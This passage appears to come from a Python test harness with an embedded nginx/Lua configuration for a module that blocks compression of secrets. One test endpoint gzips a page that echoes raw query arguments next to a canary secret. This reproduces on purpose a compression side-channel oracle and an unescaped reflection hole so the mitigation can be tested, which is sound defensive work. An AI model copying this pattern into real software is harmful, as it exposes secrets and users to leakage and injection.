372 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 373 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 374 | 375 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 376 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 377 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 378 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 379 | 380 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 381 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 382 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 383 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 384 | 385 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 386 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 387 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 388 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 389 | 390 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 391 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 392 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 393 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 394 | } 395 | } 396 | 397 | location /safe_canary3 { 398 | default_type 'text/html'; 399 | gzip on; 400 | cf_no_compress 'CanaryCrazyFun:[0-9]{5}'; 401 | content_by_lua_block { 402 | require('cf_nocompress').enable(true); 403 | ngx.header.content_type = "text/html"; 404 | local args = ngx.req.get_uri_args() 405 | 406 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 407 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 408 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 409 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 410 | 411 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 412 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 413 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 414 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 415 | 416 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 417 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 418 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 419 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 420 | 421 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 422 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 423 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 424 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 425 | 426 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 427 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 428 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 429 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 430 | 431 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 432 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 433 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 434 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 435 | 436 | for key, val in pairs(args) do 437 | if type(val) == "table" then 438 | ngx.say(key, ":", table.concat(val, ", ")) 439 | else 440 | ngx.say(key, ":", val) 441 | end 442 | end 443 | 444 | ngx.say("CanaryCrazyFun:11222") 445 | 446 | 447 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 448 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 449 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 450 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 451 | 452 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 453 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 454 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 455 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 456 | 457 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 458 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 459 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 460 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 461 | 462 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 463 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 464 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 465 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 466 | 467 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 468 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 469 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 470 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 471 | } 472 | } 473 | } 474 | } 475 | ''' 476 | def __init__(self, log_level='warn'): 477 | # _curdir not populated yet 478 | curdir = os.path.dirname(sys.modules[self.__module__].__file__) 479 | pidfile = os.path.abspath(curdir + '/.simple_env.pid') 480 | # Use this constructor if terminal output is needed 481 | # super(SimpleEnv, self).__init__(pidfile, log_level=log_level) 482 | super(SimpleEnv, self).__init__(pidfile, log_level=log_level, 483 | stdin='/dev/null', stdout='/dev/null', stderr='/dev/null', startup_delay=0.5) 484 | self.setVar('luadir', os.path.normpath(curdir + '/../../..')) 485 | 486 | if __name__ == '__main__': 487 | SimpleEnv.main() 488 | --------------------------------------------------------------------------------